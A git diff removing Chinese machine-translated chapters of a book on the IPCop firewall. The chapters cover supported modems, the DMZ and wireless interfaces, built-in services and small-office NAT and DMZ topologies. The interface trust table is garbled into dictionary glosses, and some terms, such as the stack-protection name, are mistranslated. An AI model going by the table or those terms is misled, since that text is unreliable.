卡,甚至可以是连接到公共交换电话网的拨号模拟调制解调器。 - -IPCop 将在此接口上支持的其他硬件接口包括: - -### USB 和 PCI ADSL 调制解调器 - -**DSL**是一种允许通过现有铜质电话线发送宽带、高速互联网或网络信号的技术。 这种形式的互联网非常受欢迎,特别是在传统上有线电视等服务普及率较低的国家,因为它不需要昂贵的挖掘和重新布线街道和房屋,并为电缆或网络基础设施铺设新的布线。 DSL 的缺点之一是 DSL 信号的范围相对较短,需要靠近电话交换机,尽管这一限制随着技术的进步而增加。 - -IPCop 将允许具有 DSL 服务(**SDSL**和**ADSL**)的用户将某些品牌的调制解调器直接连接到 IPCop 防火墙。 将 IPCop 防火墙连接到 DSL 线路有三种主要方法。 - -第一种方法是通过以太网将 IPCop 主机连接到 ADSL 调制解调器。 一般来说,这是最稳定的方式,但缺点是设置起来比较困难。 作为成熟路由器的调制解调器(例如基于 Conexant 芯片组的许多路由器)通常被设计为在网络中充当 NAT 路由器。 这些设备有一个以太网端口(插入交换机或集线器)或多个以太网端口(以及一个小型内置交换机),并将私有地址(通常在 10.0.0.0/8 范围内)分发给网络上的客户端,充当防火墙。 在不更改默认配置的情况下将 IPCop 主机连接到其中一台路由器的背面不是一个好主意,因为您要执行两次网络地址转换。 - -虽然 NAT 在执行一次时经常会破坏协议,但执行两次几乎肯定会让您的网络头痛不已。 除了在您和 Internet 之间本质上有两个网络导致的路由问题外,对于 BitTorrent、SIP、在线游戏等协议或 SMTP 邮件等传入服务,通过这些路由器实现端口转发非常困难,因为每个端口转发都必须配置两次。 因此,这些路由器必须配置为*而不是*来充当 NAT 网关,而是退回到与*普通*路由器一样的行为。 如果没有一个以上的 IP 地址,这是不可能的,如果家庭用户或企业想要使用 IPCop,就会让他们的 ISP 没有固定的 IP 地址池陷入困境! - -因此,一些基于以太网的 ADSL 路由器具有称为**PPP 半桥**的功能。 此功能允许通过以太网(即您的 IPCop 防火墙)插入的设备从您的 ISP 获取*公共*IP 地址,并禁止路由器充当防火墙或 NAT 网关。 在此模式下工作时,ADSL 路由器采用 ISP 在身份验证期间分配的 IP 地址,并将其提供给通过 DHCP 请求 DHCP 地址的第一台设备。 此功能应记录在您的 ADSL 手册中。 - -配置 ADSL 的第二种方法是使用直接连接到 PC 或防火墙的 USB ADSL 调制解调器。 虽然可能最简单(因为它需要最少的网络知识,而且不需要复杂的布线或硬件安装),但这些调制解调器是所有三种方法中最便宜、最不可靠且性能最差的。 - -配置 ADSL 的第三种方法是使用内部 ADSL 或 SDSL 卡,占用防火墙、PC 或服务器内部的一个 PCI 插槽。 这可能是配置 ADSL 最不常用的方法。 - -IPCop 在一定程度上支持所有这三种方式:只要可能,作者强烈建议使用以太网 ADSL 调制解调器,或者使用静态地址集将其配置为路由器,或者(如果不可能)在本地使用 DHCP,或者使用 PPP Half Bridge 之类的解决办法。 以下是 IPCop 中支持的设备列表: - -* Alcatel SpeedTouch 系列 USB ADSL 调制解调器 - -* ECI USB ADSL 设备(包括 BT Voyager 调制解调器、Zoom 5510 ADSL 调制解调器和几十个其他类似设备) - -* Bewan USB/PCI ADSL 调制解调器(ST 系列 USB 调制解调器和 ST 系列 PCI 调制解调器) - -* Conexant USB 调制解调器(包括 Zoom 5510、DrayTek Vigor 318 和其他几款) - -* Conexant PCI 调制解调器 - -* AMEDYN ADSL 调制解调器(HCL 仅列出 Zyxel 630-11、华硕 AAM6000UG USB) - -* 3Com 3CP4218 USB ADSL 调制解调器 - -### ISDN 调制解调器 - -**综合业务数字网**(**ISDN**)是在 ADSL 或电缆连接之前提供(慢速)宽带互联网接入的一种形式。 ISDN 本质上是一种数字电路电话线。 在通过电缆、DSL 和卫星广泛采用宽带之前,ISDN 经常被使用,现在仍在一些分支机构、远程工作以及没有 DSL、电缆或卫星可用的地区使用。 - -IPCop 支持大量 ISDN 调制解调器(1.4.10 HCL 列表 34)。 完整的列表可以在 IPCop Wiki 站点上找到([http://www.ipcop.org/modules.php?op=modload&Name=phpWiki&file=index&pagename=IPCopHCLv01](http://www.ipcop.org/modules.php?op=modload&name=phpWiki&file=index&pagename=IPCopHCLv01))。 - -### 模拟(POTS)调制解调器 - -IPCop 应支持任何硬件模拟(拨号)调制解调器。 硬件设备通常通过串行端口或作为 ISA 卡连接。 - -使用 PCI 接口的较新调制解调器通常基于*软件*。 这意味着调制解调器的一定比例的工作是在它所连接的计算机的 CPU 上通过软件执行的,而不是由调制解调器本身完成的。 - -如果没有执行此工作的设备驱动程序,这样的调制解调器将无法工作,而且由于通常没有为 Linux 操作系统编写的这些设备的驱动程序,因此它们通常被视为 Linux 中的*损坏*。 USB 调制解调器在 IPCop 中也应该可以工作。 - -IPCop HCL 列出了一个与 IPCop 配合使用的 PCI 调制解调器,即*PCI Smartlink 5634PCV*。 - -### 有线和卫星互联网 - -一般来说,欧洲和美国供应商通过电缆提供的互联网服务提供的以太网调制解调器将*仅在 IPCop 中工作*,因为它们通过 DHCP 提供公共的、可路由的 IP 地址。 然而,一些有线电视提供商提供的 USB 调制解调器不太可能在 IPCop 中工作。 卫星互联网也是如此(USB 调制解调器不太可能在 IPCop 中工作)。 - -## 橙色网络接口 - -*可选的*橙色网络接口设计为**DMZ**网络(有关 http://www.firewall.cx/dmz.php 防火墙的详细信息,请参阅[DMZ](http://www.firewall.cx/dmz.php))。 在军事术语中,非军事区(DeMiliatiized Zone)是指不允许军事活动的区域,例如两个不同(和敌对)国家之间的边境。 因此,在防火墙术语中,术语*DMZ*具有类似的含义,即组织的内部网络和外部网络(如 Internet)之间的网段。 在此细分市场中,通过防火墙保护服务器不受互联网的影响,但将服务器与位于前线后面更受保护区域的内部客户端隔离(因为它们暴露在互联网中)。 - -组织通常会将设计为面向外部世界的任何服务(例如 Web 服务器(为外部客户端提供网站请求服务),或者更常见的是邮件服务器(外部服务器连接到该服务器以便通过 SMTP 传递邮件))放入这个不可信但隔离的网络中。 - -### 备注 - -**橙色接口**上的寻址 - -Orange 网络接口通常使用私有地址范围,因为 NAT 由 IPCop 执行。 与绿色区域一样,*路由*防火墙而不是*更新*防火墙需要高级配置。 - -因此,DMZ 被认为是不受信任的网段,仅次于 Red 网络接口。 Orange 网段*上的主机不能*连接到绿色或蓝色网段-必须明确允许从 Orange 网段到这些内部网段的所有流量通过**DMZ 针孔**。 允许从 Red 网段到 Orange 网段的流量通过端口转发。 - -但是,Orange 网络上的客户端应该*而不是*使用 IPCop 防火墙作为 DNS 或 DHCP 服务器。 这有合理的安全原因-在此网段的 IPCop 主机上额外暴露服务,除了更难配置外,还会增加 IPCop 主机受到橙色区域攻击的风险,从而降低为绿色区域中的客户端提供安全服务的能力。 - -## 蓝色网络接口 - -*可选的*Blue 网络接口是 IPCop 的较新功能,随 1.4 版本系列一起提供。 此网络专门为单独的无线网段设计。 Blue 网段上的主机除了通过与 Orange 网络类似的特定*针孔*外,无法访问 Green 网络。 - -### 备注 - -**蓝色网段**上的编址 - -Blue 网络几乎总是使用私有地址范围。 - -IPCop 还允许通过虚拟专用网络连接到绿色区域,从而允许客户端完全访问此网段上的资源。 - -蓝色网段不一定是无线网段-因为蓝色网段只是另一个网段,并且主机的无线连接对 IPCop 是透明的,所以如果您的绿色区域中可用主机的数量超出了您的可用主机数量,那么绝对没有什么能阻止您将蓝色网段用作网络中的另一个子网。 - -以这种方式使用蓝色区域也是分隔网络使用情况不同的主机的好方法,例如特定员工组在公共场所或工厂车间使用的工作站的子网。 蓝色区域甚至可以用作网络的默认区域,在该网络中,管理员不希望网络上的主机像绿色区域那样自动访问网络上的所有资源。 - -在这种拓扑中,IT 员工可能会被分配绿色区域以访问网络资源,而工作站可能会保留在蓝色区域中,具有对他们需要的网络区域的特定访问权限。 - -## 简单的管理和监控 - -作为一种以易于使用为目标的设备,如果用户每次推出新版本时都必须重新安装,那么它对用户没有太大的用处。 如果用户不需要在任何时候登录机器上的 Linux 控制台,这也将是非常有益的。 IPCop 开发人员显然同意这一点,因此有一个内置的简单升级系统。 这完全可以从 Web 界面进行管理。 但是,如果用户确实想要登录到 Linux 控制台并进行更改,只需使用连接到机器的键盘/监视器或从本地网络(绿色接口)上的计算机使用 SSH 即可完成。 为了增加安全性,默认情况下禁用 SSH,必须先启用 SSH,然后才能使用它。 - -### 备注 - -**本地控制台** - -在键盘和显示器分离的 PC 上运行 IPCop 防火墙之类的服务器是很常见的,因为它们很少使用。 虽然方便,但这可能会带来问题,因为一些主板(和软件包)不喜欢热插拔键盘和鼠标(特别是 PS/2 接口)。 虽然显示器是热插拔的(因此您可以随意将显示器断开并重新连接到 IPCop 系统),但我们建议您将 IPCop 系统连接到键盘或 KVM 切换器。 - -拆卸键盘的另一个副作用是,许多计算机中的 BIOS 在启动时会*停止*,如果没有看到键盘连接,则等待按键。 对于未连接键盘的计算机,通常可以(也确实应该)在 BIOS 配置中禁用此行为。 - -您还可以从同一界面备份和恢复您的配置,从而确保可以非常轻松地管理防火墙的所有常见管理任务,更重要的是,无需了解 Linux 或 bash shell。 - -通过 Web 界面上提供的状态,我们可以确切地看到系统的运行情况。 例如,如果我们对此感兴趣,我们可以查看防火墙上当前正在运行的服务、内存和磁盘使用情况,以及流量图。 - -![Simple Administration and Monitoring](img/1361_02_02.jpg) - -这些功能再次展示了基于 Web 的界面的威力,以及为什么选择这个特定的界面。 我们还可以快速查看重要的系统信息,而无需使用交互式外壳登录系统。 - -还可以使用基于 Web 的日志查看器查看日志,这意味着您可以非常轻松地监视系统,而绝对不需要直接登录到系统。 IPCop 还能够将这些日志导出到远程系统日志服务器,以简化管理和日志聚合,特别是在您有几个设备要监控的情况下。 - -## 调制解调器设置 - -由于许多家庭用户使用 ISDN 或 ADSL 调制解调器进行拨号(包括 USB/ADSL 调制解调器),因此 IPCop 支持它们非常重要。 支持多种常见的调制解调器,并且 IPCop 具有为默认情况下不支持的调制解调器加载附加驱动程序的功能,并且这些调制解调器的配置选项相当灵活。 防火墙以这种方式支持调制解调器和驱动程序的情况并不常见;这是 IPCop 最独特的特性之一,也是为什么它非常适合 SOHO 网络的原因。 - -![Modem Settings](img/1361_02_03.jpg) - -## 服务 - -IPCop 为小型网络提供各种基本服务。 严格来说,在本应作为网络保护机制的同一个机器上提供此类服务并不是防火墙的最佳实践,但经济性在较小的网络上起作用,由一台机器提供所有基本网络服务非常有用。 - -### Web 代理 - -IPCop 既可以用作代理,也可以用作防火墙。 您可以在 Green 接口上轻松管理缓存和配置代理。 定义接口的好处在这里变得非常明显,因为这意味着只需简单地单击复选框即可在 IPCop 上设置代理。 - -![Web Proxy](img/1361_02_04.jpg) - -### DHCP - -随着网络的发展,手动为客户端分配网络配置变得极其困难,能够自动执行此操作并管理您使用的网络地址的使用是相当重要的。 IPCop 中的**Dynamic Host Configuration Protocol**(**DHCP**)配置使您可以轻松地向 Green 接口上的客户端提供 DHCP 服务,如果您不确定如何做到这一点的话。 通过 DHCP 实现这一点可以简化客户端配置,这意味着大多数机器将自动连接到网络并可以访问互联网,而无需在主机上进行任何配置。 - -![DHCPservices, IPCopweb proxy](img/1361_02_05.jpg) - -### 动态 DNS - -一般来说,SOHO 用户的互联网连接将有一个类似 31-34-43-10 的**完全限定域名**(**FQDN**)。 互联网上一台计算机的完全限定域名(FQDN)可以用来与其建立连接--例如,与谷歌(Google)建立的连接就会连接到[www.google.com](http://www.google.com)。 对于家庭用户来说,您的 FQDN 不是像**google.com**那样的域名,而是 ISP 用来识别您来自哪个 ISP 以及您在您的网络上是哪个客户端的域名,通常会让人们更容易理解。 - -虽然这对于管理其客户的 ISP 来说是有意义的,但它使得远程连接到这样一个提供互联网连接的网络变得困难。 即使您可以记住并分发您的 ISP 分配的域名,如果您希望人们能够访问您托管的服务(作为 IP 地址),因此您的防火墙或路由器的 FQDN 会不时改变,这仍然不是一个解决方案。 - -因此,许多网络使用**动态 DNS**。 使用动态 DNS 系统,在连接到 Internet 的防火墙或客户端上运行的一小部分软件将使用您的 IP 地址更新 Internet 上的服务器(动态 DNS 服务器),并将固定主机名(如 Yourname.DynamicdnsProvider.com)重定向到您当前的 IP 地址。 如果您连接到 IPSec VPN 或其他服务(如 HTTP、VNC 或终端服务),或者如果客户端使用这些协议远程连接到您,则可以连接到此动态 DNS 主机名,并将无缝连接到使用动态 DNS 服务器更新的 IP。 - -![Dynamic DNSservices, IPCopDHCP](img/1361_02_06.jpg) - -由于这些服务需要使用您当前的 IP 地址不断更新服务器以保持 DNS 正常工作,因此使用动态 DNS 需要运行软件的计算机或其他设备不断与动态 DNS 提供商对话。 - -动态 DNS 是大型防火墙产品中不常见的功能,在大多数低端家用路由器中当然也不常见。 - -![Dynamic DNSservices, IPCopDHCP](img/1361_02_07.jpg) - -### 时间服务器 - -网络上的主机通常需要配置为保持时间一致,无论这是因为 Kerberos 之类的身份验证机制,还是仅仅是为了方便起见。 IPCop 提供**网络时间协议**(**NTP**)服务,该服务可用于使网络上的所有客户端保持同步。 - -IPCop 服务器使用 NTP 连接到 Internet 上的 NTP 时间服务器,从该服务器确定正确的时间。 然后,它使用计算机时钟在内部保存此信息,并充当网络中客户端的 NTP 服务器。 通过从上游 NTP 服务器定期更新,IPCop 盒可以确保时间保持在合理的准确度。 - -通过从本地源进行更新,而不是让每个本地客户端都从外部时间源进行更新,您可以保持客户端彼此之间的准确性(因此,即使时间不严格准确,您也知道所有本地客户端保持大致相同的时间,这对于日志审核和 Kerberos 这样的事情很重要)。 最重要的是,它还减轻了为您提供免费服务的 NTP 服务器的负载! - -有关如何配置客户端操作系统以与 NTP 服务器通信的信息,可在以下位置找到: - -* 窗口:[http://www.boulder.nist.gov/timefreq/service/pdf/win2000xp.pdf](http://www.boulder.nist.gov/timefreq/service/pdf/win2000xp.pdf) - -* Linux:[http://Linuxreviews.org/howtos/ntp/](http://Linuxreviews.org/howtos/ntp/) - -* OS X:选择**系统首选项**和**使用网络时间** - -![Time Serverservices, IPCopdynamic DNS, settings](img/1361_02_08.jpg) - -### 高级网络服务 - -流量整形和入侵检测是非常先进的网络服务,我们不希望在大多数 SOHO 设备中看到这些服务。 IPCop 不仅提供了这些功能,而且使它们非常易于管理,在我们了解配置 IPCop 时,我们将确切地看到维护这些相当复杂的系统是多么容易。 - -![Advanced Network Services](img/1361_02_09.jpg) - -### 端口转发 - -这是从 SOHO 到大型企业的防火墙中非常常见的功能。 IPCop 在这里有两个好处。 首先,我们可以添加的转发数量没有任何限制,其次,它非常容易设置。 对于某些 SOHO 设备,我们不仅对可以转发的端口数量有限制,而且经常会发现其周围的配置非常复杂。 企业系统本质上是复杂的,在这个特定的特征中,复杂性加剧了。 - -![Port Forwarding](img/1361_02_10.jpg) - -正如我们所看到的,IPCop 防火墙在客户端看来既是邮件服务器*又是*Web 服务器,但在此示例配置中,到端口 25 和 80 的连接实际上被转发到在端口转发菜单中配置的服务器。 IPCop 配置中的这些服务器可能位于橙色区域。 - -![Port Forwarding](img/1361_02_11.jpg) - -# 虚拟专用网络 - -这使您能够通过(虚拟)专用链路连接到 Internet 上的更多网络。 这是 IPCop 的主要功能之一,这意味着它也可以用于中型企业,而不仅仅是 SOHO 网络。 IPCop VPN 实施的详细情况将在后面的章节中详细讨论。 - -![Virtual Private Networking](img/1361_02_12.jpg) - -## 警用堆栈保护 - -IPCop 是为使用 ProPolicy 而构建的,这是一种用于保护防火墙上运行的服务免受 Internet 攻击的机制。 ProPower 提供的堆栈保护是防止网络服务中常见的一种特殊漏洞的一种相当有效的机制。 - -# 为什么选择 IPCop? - -在评估在我们的环境中使用的 IPCop 时,我们应该查看它提供的功能,这从我们刚刚看到的功能列表中可以明显看出。 然后,我们需要确定它是否是我们网络最有效的解决方案。 一般来说,对于中小型网络,IPCop 是非常有益的,可以极大地简化网络管理。 但是,对于超大型网络,我们可能会发现 IPCop 是不够的,因为我们有各种网段,所有网段都通过不同的机制互连。 重要的是要弄清楚我们的网络将如何组合在一起,然后选择 IPCop(如果有合适的角色)。 对于 SOHO 网络,这可能是一个非常简单的拓扑,可能不需要太多考虑。 在更大的网络中,IPCop 可以在基础设施内的特定角色中部署,例如作为关键远程网络(如分支机构)的网关设备。 - -# 摘要 - -在本章中,我们了解了 IPCop 中提供的功能集。 我们对 IPCop 到底能做什么有一个概念,结合上一章的知识,我们知道它是如何堆叠成防火墙的。 我们现在还了解了 IPCop 在哪些情况下可能有用,以及我们需要了解哪些内容才能使用它。 如果我们对任何一个主题都不熟悉,那么在这一点上,一些屏幕截图可能看起来有点复杂。 当我们浏览这些功能时,将对所有内容进行解释,以便我们完全理解每个选项,并知道我们是否需要配置该特定区域,以及我们希望如何准确地设置该区域。 对于那些更熟悉这些技术的人来说,这可能有助于概述 IPCop 中的一些功能是如何工作的。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/03.md b/docs/conf-ipcop-fw/03.md deleted file mode 100644 index c2fa7b4d..00000000 --- a/docs/conf-ipcop-fw/03.md +++ /dev/null @@ -1,265 +0,0 @@ -# 三、部署 IPCop 和设计网络 - -既然我们了解了 IPCop 作为未连接到任何其他系统的防火墙所能起到的作用,我们需要开始考虑它是如何连接到这些系统的,以及它对我们的影响是什么。 正如您现在必须意识到的那样,部署 IPCop 的范围是多种多样的,特别是结合 Linux 知识和开放源码软件的灵活性,即使是一个 IPCop 机器的可能排列也是相当无限的! 也就是说,大多数网络都使用核心功能,在所有这些排列中,有几个核心网络布局可能会在大多数 IPCop 部署中通用。 - -因此,我们在这里要做的是概述部署 IPCop 的几种常见方法以及这些拓扑背后的动机,具体取决于我们要部署的 IPCop 组件。 - -# 接口之间的信任关系 - -正如我们现在所了解的,IPCop 支持的四种类型的网络接口(绿色、红色、蓝色和橙色)具有不同的相关信任级别。 以下是一个简单的表格,概述了允许哪些流量进出哪些接口。 在考虑使用多少接口以及使用它们做什么时,此表以及其中包含的知识应构成我们规划的基础。 这基本上是 IPCop 管理指南([http://www.ipcop.org/1.4.0/en/admin/html/section-firewall.html](http://www.ipcop.org/1.4.0/en/admin/html/section-firewall.html))中的流量流程图。 - - -| - -接口来自 - - | - -接口到 - - | - -地位 / 状态 / 身份 - - | - -如何访问 - - | -| --- | --- | --- | --- | -| 红颜料 / 赤字 / 红衣 / 红葡萄酒红颜料 / 赤字 / 红衣 / 红葡萄酒红颜料 / 赤字 / 红衣 / 红葡萄酒红颜料 / 赤字 / 红衣 / 红葡萄酒 | 防火墙(与)奥兰治会(有关)的蓝色 / 蓝色颜料 / 蓝色物品 / 蓝灰蝶绿色的 / 幼嫩的 / 未熟的 / 青春的 | 关闭的 / 歇业的 / 不公开的关闭的 / 歇业的 / 不公开的关闭的 / 歇业的 / 不公开的关闭的 / 歇业的 / 不公开的 | 外部访问端口转发端口转发/VPN 端口转发/VPN | -| (与)奥兰治会(有关)的(与)奥兰治会(有关)的(与)奥兰治会(有关)的(与)奥兰治会(有关)的 | 防火墙红颜料 / 赤字 / 红衣 / 红葡萄酒蓝色 / 蓝色颜料 / 蓝色物品 / 蓝灰蝶绿色的 / 幼嫩的 / 未熟的 / 青春的 | 关闭的 / 歇业的 / 不公开的坦率的 / 公开的 / 敞开的 / 营业着的关闭的 / 歇业的 / 不公开的关闭的 / 歇业的 / 不公开的 |   |   | DMZ 针孔 DMZ 针孔 | -| 蓝色 / 蓝色颜料 / 蓝色物品 / 蓝灰蝶蓝色 / 蓝色颜料 / 蓝色物品 / 蓝灰蝶蓝色 / 蓝色颜料 / 蓝色物品 / 蓝灰蝶蓝色 / 蓝色颜料 / 蓝色物品 / 蓝灰蝶 | 防火墙红颜料 / 赤字 / 红衣 / 红葡萄酒(与)奥兰治会(有关)的绿色的 / 幼嫩的 / 未熟的 / 青春的 | 关闭的 / 歇业的 / 不公开的关闭的 / 歇业的 / 不公开的关闭的 / 歇业的 / 不公开的关闭的 / 歇业的 / 不公开的 | 蓝色通道蓝色通道蓝色通道 DMZ 针孔/VPN |   |   | -| 绿色的 / 幼嫩的 / 未熟的 / 青春的绿色的 / 幼嫩的 / 未熟的 / 青春的绿色的 / 幼嫩的 / 未熟的 / 青春的绿色的 / 幼嫩的 / 未熟的 / 青春的 | 防火墙红颜料 / 赤字 / 红衣 / 红葡萄酒(与)奥兰治会(有关)的蓝色 / 蓝色颜料 / 蓝色物品 / 蓝灰蝶 | 坦率的 / 公开的 / 敞开的 / 营业着的坦率的 / 公开的 / 敞开的 / 营业着的坦率的 / 公开的 / 敞开的 / 营业着的坦率的 / 公开的 / 敞开的 / 营业着的 |   |   |   | - -在可视化通信通过 IPCop 防火墙的方式中,我们可以将其视为与交通警察(字面意思是 IP Cop-因此得名!)的一个巨大交汇点。 在它的中间。 当汽车(网络术语中是数据包)到达十字路口时,COP(根据 IPCop 使用的路由表)决定数据包应该朝哪个方向移动,并将其推向适当的方向。 - -在绿色客户端访问 Internet 的情况下,我们可以从上一表中看到此访问是开放的,因此 COP 允许流量通过。 然而,在其他情况下,情况可能并非如此。 例如,如果蓝色客户端尝试访问绿色网段上的客户端,如果流量通过 VPN 或通过 DMZ 针孔,则 CoP 可能会允许流量通过-但如果蓝色网段上的客户端既没有明确允许流量,也没有明确允许流量,它就会被停止。 车停在路边,乘客们在牢房里度过了一段虚拟的时间! - -请注意,(通常)当我们说明 IPCop 配置时,红色接口位于最上方(北部),橙色接口位于左侧(西部),蓝色接口位于右侧(东部),绿色接口位于底部(南部)。 对于所有四个接口,如下所示: - -![Trust Relationships between the Interfaces](img/1361_03_01.jpg) - -# 更改 IPCop 功能 - -与 IPCop 防火墙行为的许多方面一样,可以改变防火墙规则的行为,以便定制 IPCop 以满足默认规则无法迎合的拓扑。 在防火墙规则的上下文中,IPCop 从 1.4 系列版本开始就有一个文件,允许用户专门添加他们自己的防火墙规则(`/etc/rc.d/rc.firewall.local`)。 从 1.3 版开始,已有 iptables 链、*CUSTOMINPUT、CUSTOMFORWARD、*等,允许手动添加 iptables 规则。 - -具体使用 iptables 超出了我们的范围,但我们建议感兴趣的读者阅读: - -Linux iptables 如何在[http://www.linuxguruz.com/iptables/howto/](http://www.linuxguruz.com/iptables/howto/) - -# 拓扑一:NAT 防火墙 - -我们的第一个拓扑是作为市场上存在的许多 NAT 防火墙的临时替代品而存在的。 在小型办公室和家庭中,经常部署 D-Link、Linksys 和 Friends 销售的嵌入式 NAT 防火墙等解决方案,以便为小型网络提供经济高效的互联网接入。 一些解决方案,如**互联网连接共享**(参见[http://www.microsoft.com/windowsxp/Using/Networking/Learnmore/default.mspx](http://www.microsoft.com/windowsxp/)了解微软提供的互联网连接共享的更多信息)、组合 NAT 防火墙、DNS 代理和 DHCP 服务器(从 Windows98 开始内置于客户机版中)也经常使用,以便允许一台带有调制解调器或网络接口的 PC 充当其他客户机的网络网关。 出于我们这里的目的,我们将考虑**ICS**,因为具有 ICS 的这种拓扑实际上是替换诸如 Linksys 或 NETGEAR 型号的路由器所需工作的超集,如前所述,我们从这些路由器之一迁移到 IPCop 将是相同的,除了客户端上的 ICS 软件退役-如果我们移除路由器,这是不必要的,并且路由器可以保持原样配置(和/或作为备份, 或在其他地方重用)(参见[Windows](http://www.annoyances.org/exec/show/ics)以了解有关在不同 http://www.annoyances.org/exec/show/ics 版本上实现(并因此退役)ICS 的更多信息)。 - -具有 ICS 的此类拓扑可能如下所示: - -![Topology One: NAT Firewall](img/1361_03_02.jpg) - -这种解决方案虽然便宜且方便,但通常不具有可扩展性或可靠性,并且安全性较差。 它们使工作站面临不必要的安全风险,提供的吞吐量有限,而且通常不可靠,需要频繁重新启动和锁定。 - -与软件防火墙一样,网络防火墙被设计为您的工作站和 Internet 之间的屏障。 通过将您的一台工作站直接连接到 Internet 并使用类似 ICS 的解决方案,尽管您减少了共享 Internet 连接所需的资源,但您会使该工作站面临不必要的风险。 该 PC 也有义务始终处于开机状态-与没有不必要组件的低端 PC 和运行 IPCop 的低功耗 PSU 相比,这可能会更嘈杂,功耗也更高。 - -IPCop 在这种情况下提供了经济高效的替代方案,为小型企业和家庭用户提供了强大的防火墙,而不需要过于复杂,并添加了嵌入式解决方案或 IC 中没有的其他功能,如可自定义的 DHCP 服务器、入侵检测和代理服务器等。 - -在这种情况下,当 IPCop 充当替代网络时,替代网络可能如下所示: - -![Topology One: NAT Firewall](img/1361_03_03.jpg) - -这样的拓扑确保在数据到达客户端之前进行防火墙,使用一个设计用作网络防火墙的软件包,从而极大地提高了对客户端的服务质量以及他们的网络提供的安全性。 在这种情况下,使用的 IPCop 组件为: - -* 绿区/红区 - -* DHCP 服务器 - -* DNS 服务器 - -在这种情况下,网络管理员或顾问还可以选择启用以下任何功能,以增强向网络提供的服务: - -* 入侵检测 - -* IPSec,以便允许远程工作或远程支持 - -* 端口转发,以便允许远程访问 VNC 或终端服务/远程桌面,实现远程支持的简化远程访问模型(比 IPSec 更方便,但本质上更不安全) - -在这种情况下停用 ICS 非常简单-我们只需禁用 ICS 功能,如下面的屏幕截图所示(取自外部、面向 Internet 的 ICS 网络接口的网络连接属性)。 - -![Topology One: NAT Firewall](img/1361_03_04.jpg) - -删除 IC 与取消选择**允许其他网络用户通过此计算机的 Internet 连接**选项一样简单。 完成此操作后,我们应点击**OK**,如果要求重新启动,则可以自由禁用和/或移除工作站上的外部接口(如果我们希望在机器中保留第二个网卡或如果它有两个板载网卡,则禁用;如果我们使用的是外部调制解调器或其他硬件,则可以移除,如果我们打算移除或安装在 IPCop 主机上)。 - -### 笔记 / 便条 / 票据 / 注解 - -**IPCop 的入侵检测系统** - -入侵检测功能是 IPCop 的一个功能强大的组件,易于启用和使用。 虽然精确分析 IPCop 的 IDS 生成的日志文件需要相当多的技能和经验,但它很容易打开,除非 IPCop 防火墙有特定的空间要求(即,它在硬盘或闪存卡非常小的设备上运行,或者 CPU/内存不足以执行分析),但没有令人信服的理由不启用 IDS 系统。 - -此拓扑的防火墙规则很简单;由于自动允许绿色网段访问 Red 接口上的资源,因此设置此设置不需要特定于拓扑的设置。 - -为如此小的办公环境部署 IPCop 的另一个重大好处是,在需要业务增长的情况下,其拥有的解决方案是可扩展的。 这样的企业在一个工作组中运行几个 Windows 工作站,可能会认为一个工作组不足以满足其需求,并且需要集中管理、文件存储和配置。 - -即使在这样的升级前场景中,IPCop 也很有优势,因为它提供了一个内置的、开放的升级路径。 从简单的 NAT 和 DHCP 迁移到具有多个网段、端口转发和代理服务器的网络不需要硬件或软件升级。 如果服务器已经有几个网卡(以目前的价格,如果预期会扩展,它没有理由不这样做),这甚至可以在对现有客户端的服务很少或没有明显中断的情况下完成。 - -# 拓扑二:带 DMZ 的 NAT 防火墙 - -在公司不断壮大的小型办公室环境中,对传入电子邮件的需求可能会迫使激活橙色区域,并在此细分市场中部署和安装邮件服务器。 - -这样的公司可能会选择将其桌面和内部服务器基础设施保留在 Green 网段内,并将其位于 DMZ 中的 ITS 服务器放置在交换机/集线器上,或者简单地使用交叉电缆连接到 IPCop 主机的 Orange 接口。 当这样的系统暴露在互联网上时,这种细分提供了一个相当大的优势,因为它提供了一条“阻止线”,入侵者如果超过这条线,就更难升级他或她对网络的访问。 - -### 笔记 / 便条 / 票据 / 注解 - -**DMZ 和外部网段基础设施** - -虽然使用交叉电缆将 DMZ 服务器或外部路由器连接到防火墙(或另一台路由器)通常非常方便,但使用集线器或交换机通常会带来好处-不可避免的是,当您实际需要此角色的交换机或集线器时,可能需要排除与这些系统相关的连接问题,在这种情况下,您可能无法在足够的时间内找到并安装集线器/交换机,或者可能不想中断任何剩余的连接。 - -使用集线器和交换机还可以规划未来的扩展,使您能够更轻松地添加另一个系统。 带有六个端口的小型交换机也真的不贵! - -一段时间以来,Microsoft 的 Exchange 邮件服务器通过使用“前端”和“后端”交换角色来支持这样的配置(尽管这些角色将在未来的 Exchange 版本中弃用)。 但是,对于不同的网络配置,例如使用 Novell 的 eDirectory 或 RedHat 的目录服务器(RHDS)或过滤设备等管理系统的 Linux 客户端,具有面向外部的 SMTP 服务器(可能运行开放源码的 MTA ExIm)的类似系统将同样受益。 - -![Topology Two: NAT Firewall with DMZ](img/1361_03_05.jpg) - -在此拓扑中,客户端可以自由连接到邮件服务器(无论是通过 POP、IMAP、RPC 还是 RPC over HTTP)。 为了让作为网络域的一部分存在的邮件服务器向目录服务器进行身份验证,我们还需要使用 DMZ 针孔功能打开到目录服务器的适当端口(取决于目录提供商)。 - -### 笔记 / 便条 / 票据 / 注解 - -**防火墙 Active Directory 域控制器** - -有关活动目录需要具体复制哪些端口(即,如果邮件主机和目录服务器是域控制器,则在域控制器之间)的信息,请访问[http://www.microsoft.com/technet/prodtechnol/windows2000serv/technologies/activedirectory/deploy/confeat/adrepfir.mspx](http://www.microsoft.com/technet/prodtechnol/windows2000serv/technologies/activedirectory/deploy/confeat/adrepfir.mspx) - -虽然在这种情况下,DMZ 的安全优势将是有限的,因为邮件主机的危害将意味着域控制器的危害,但仍有轻微的安全优势-但是,不建议在面向 Internet 的角色中运行域控制器! - -可以在以下文章中找到与域控制器对话的客户端或服务器所需的端口,其中详细介绍了在 Windows 2003 系统上配置 Windows 防火墙所需的端口: - -[http://support.microsoft.com/default.aspx?scid=kb;en-us;555381&sd=rss&spid=3198](http://support.microsoft.com/default.aspx?scid=kb;en-us;555381&sd=rss&spid=3198) - -我们还设置了从 IPCop 防火墙的外部 IP 地址到邮件服务器上的端口 25 的端口转发规则。 这允许外部邮件服务器连接到邮件服务器以传递电子邮件。 - -在此拓扑中,邮件服务器(在绿色网段中可能危及整个网段)的危害受到控制,因为防火墙提供了一定程度的保护。 - -在这样的拓扑中,我们使用 IPCop 防火墙的以下功能: - -* 红色、橙色、绿色区域 - -* DMZ 针孔 - -* DHCP 服务器 - -* DNS 服务器 - -* 转发到橙色网段的端口 - -我们还可以选择使用以下任何功能元素: - -* 入侵检测系统 - -* 端口转发到邮件服务器上的 Web 服务器(用于通过 Web 